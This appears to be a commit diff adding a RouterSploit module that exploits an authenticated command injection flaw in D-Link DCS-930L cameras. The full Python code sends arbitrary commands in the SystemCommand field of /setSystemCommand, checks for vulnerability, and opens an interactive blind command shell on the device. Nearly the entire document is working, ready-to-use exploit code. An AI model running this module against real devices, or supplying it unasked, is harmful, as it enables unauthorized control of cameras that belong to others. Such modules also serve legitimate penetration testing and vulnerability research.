Adding D-Link DSC-930L post auth rce exploit.

routersploit/modules/exploits/dlink/dcs_930l_auth_rce.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_status,
+    print_error,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for D-Link DCS-930L Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on the device.
+    """
+    __info__ = {
+        'name': 'D-Link DCS-930L Auth RCE',
+        'description': 'Module exploits D-Link DCS-930L Remote Code Execution vulnerability which allows executing command on the device.',
+        'authors': [
+            'Nicholas Starke <nick[at]alephvoid.com>',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/39437/',
+        ],
+        'devices': [
+            'D-Link DCS-930L',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+    username = exploits.Option('admin', 'Username to log in with')
+    password = exploits.Option('', 'Password to log in with')
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            print_status("It is blind command injection, response is not available")
+            shell(self, architecture="mipsel")
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        url = "{}:{}/setSystemCommand".format(self.target, self.port)
+        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
+        data = {"ReplySuccessPage": "docmd.htm",
+                "ReplyErrorPage": "docmd.htm",
+                "SystemCommand": cmd,
+                "ConfigSystemCommand": "Save"}
+
+        http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password))
+        return ""
+
+    @mute
+    def check(self):
+        url = "{}:{}/setSystemCommand".format(self.target, self.port)
+        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
+        data = {"ReplySuccessPage": "docmd.htm",
+                "ReplyErrorPage": "docmd.htm",
+                "SystemCommand": "ls",
+                "ConfigSystemCommand": "Save"}
+
+        response = http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password))
+        if response is None:
+            return False  # target is not vulnerable
+
+        if response.status_code == 200 and "ConfigSystemCommand" in response.text:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable